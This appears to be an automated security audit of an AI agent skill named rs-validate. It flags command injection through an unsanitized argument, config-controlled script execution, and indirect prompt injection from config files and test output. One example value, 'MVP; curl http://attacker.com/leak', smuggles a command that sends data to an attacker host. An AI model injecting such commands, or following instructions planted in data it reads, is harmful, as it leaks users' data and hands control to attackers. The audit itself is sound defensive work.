skills/rootspec/rootspec/rs-validate/Gen Agent Trust Hub

rs-validate

Warn

Audited by Gen Agent Trust Hub on Oct 9, 2026

Risk Level: MEDIUMCOMMAND_EXECUTIONDYNAMIC_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION]: The skill uses a user-supplied [focus] argument directly in a shell command: bash "$(dirname "$0")/../rs-shared/scripts/filter-stories.sh" rootspec [focus]. If the input for [focus] is not properly sanitized, an attacker could inject additional shell commands (e.g., MVP; curl http://attacker.com/leak).
  • [DYNAMIC_EXECUTION]: The skill reads the validationScript property from the .rootspec.json configuration file and executes it. This pattern allows the project configuration to control which scripts the agent executes, presenting a risk if the configuration file is modified by an untrusted source.
  • [INDIRECT_PROMPT_INJECTION]: The skill ingests data from several external sources to perform its tasks, creating a surface for indirect instructions to influence agent behavior.
  • Ingestion points: The skill reads project configuration files (.rootspec.json, package.json), status files (rootspec/spec-status.json), and the stdout/stderr output of test runners (Cypress).
  • Boundary markers: No delimiters or specific instructions are provided to the agent to treat this external data as untrusted or to ignore instructions embedded within test output.
  • Capability inventory: The skill has the ability to execute shell commands (bash, npm), start servers (scripts/preview.sh), and write to the local filesystem (rootspec/tests-status.json).
  • Sanitization: No sanitization or validation of the input data is performed before it is used to drive execution logic or generate reports.
Audit Metadata
Risk Level
MEDIUM
Analyzed
Oct 9, 2026, 12:52 PM